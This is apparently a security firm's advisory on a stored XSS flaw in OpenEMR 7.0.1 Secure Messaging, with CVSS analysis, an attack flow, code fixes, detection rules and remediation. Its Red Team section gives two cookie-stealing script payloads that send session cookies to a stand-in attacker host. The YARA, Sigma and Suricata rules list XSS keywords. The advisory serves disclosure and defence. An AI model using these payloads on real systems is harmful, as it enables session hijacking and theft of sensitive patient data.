CVE-2024-0875

Executive Summary

CVE-2024-0875 is a stored cross-site scripting (XSS) vulnerability in OpenEMR version 7.0.1, specifically within the Secure Messaging feature. An authenticated attacker can inject malicious JavaScript payloads into the inputBody field of a message. When the recipient views the message, the payload executes in their browser context, potentially leading to session hijacking, data theft, or further compromise of the OpenEMR instance. The vulnerability is fixed in version 7.0.2.1. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the impact is high due to the sensitive nature of medical data.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code vulnerability in the OpenEMR application. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs a valid user account.
• User Interaction: Required (UI:R) – The victim must view the malicious message.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – An attacker can read sensitive data.
• Integrity Impact: High (I:H) – An attacker can modify data.
• Availability Impact: High (A:H) – An attacker can disrupt service.

Threat Level: High. While the EPSS score is low, the potential impact on healthcare data makes this a critical vulnerability for any organization using OpenEMR 7.0.1.

Deep Dive & Mechanics

The vulnerability resides in the Secure Messaging module of OpenEMR. The inputBody field, used to compose the message body, does not properly sanitize user input before storing it in the database. When the recipient views the message, the stored payload is rendered in the browser without proper encoding, allowing arbitrary JavaScript execution.

Root Cause: Lack of output encoding or input sanitization for the inputBody field. The application likely uses a rich text editor (e.g., TinyMCE) that allows HTML, but the server-side code does not strip or encode malicious scripts.

Attack Flow:

1. Attacker logs in as a valid user.
2. Attacker composes a new secure message and injects a malicious payload (e.g., <script>alert('XSS')</script>) into the inputBody field.
3. The message is sent to the victim.
4. Victim opens the message, and the payload executes in their browser.
5. The attacker can now steal cookies, perform actions on behalf of the victim, or exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (OpenEMR 7.0.1): The vulnerable code likely does not sanitize the inputBody field before storing or displaying it. For example, in a PHP file handling message display:

// Vulnerable: Direct output without encoding
echo $message['body'];

Patched Code (OpenEMR 7.0.2.1): The patched version uses proper output encoding, such as htmlspecialchars() or a dedicated sanitization library:

// Patched: Output encoded
echo htmlspecialchars($message['body'], ENT_QUOTES, 'UTF-8');

Alternatively, the patch may strip script tags or use a Content Security Policy (CSP) to prevent execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on OpenEMR 7.0.1.
• Access to the Secure Messaging feature.

Exploit Steps:

1. Log in to OpenEMR.
2. Navigate to the Secure Messaging module.
3. Compose a new message.
4. In the inputBody field, inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Send the message to the target user.
6. When the target views the message, the payload executes, sending their session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team

Detection:

• Monitor for unusual outbound network connections from the OpenEMR server.
• Look for unexpected JavaScript execution in browser logs.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Hunting:

• Search the database for messages containing <script> tags or suspicious JavaScript.
• Review web server logs for requests to unknown external domains.

Containment:

• Immediately upgrade to OpenEMR 7.0.2.1.
• If upgrade is not possible, disable the Secure Messaging feature temporarily.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP/HTTPS requests to unknown or suspicious domains from the OpenEMR server.
  • Requests containing document.cookie in the URL parameters.

• File IOCs:

  • Log entries in the OpenEMR audit log showing messages with <script> tags.
  • Database entries in the messages table with body field containing JavaScript.

• Behavioral IOCs:

  • Unauthorized changes to user accounts or patient records.
  • Multiple failed login attempts from the same IP after a successful XSS attack.

Detection Engineering

YARA Rule

rule CVE_2024_0875_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting OpenEMR Secure Messaging"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0875"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $xss5 = "document.cookie" ascii wide nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: OpenEMR Stored XSS via Secure Messaging
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in OpenEMR Secure Messaging
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/interface/main/messages/"
        cs-method: POST
        cs-uri-query|contains: "inputBody"
    keywords:
        - "<script>"
        - "onerror="
        - "onload="
        - "javascript:"
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in rich text editor (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0875 OpenEMR XSS Payload Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenEMR to version 7.0.2.1 or later.
2. If upgrade is not possible, disable the Secure Messaging feature by removing or restricting access to the module.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-Term Measures:

• Enforce input validation and output encoding for all user-supplied data.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Conduct regular security audits and penetration testing.
• Train users to recognize and report suspicious messages.

Patch Details: The official patch is included in OpenEMR version 7.0.2.1. No separate patch file is available. Upgrade instructions can be found at: https://www.open-emr.org/wiki/index.php/OpenEMR_Downloads

Valters IT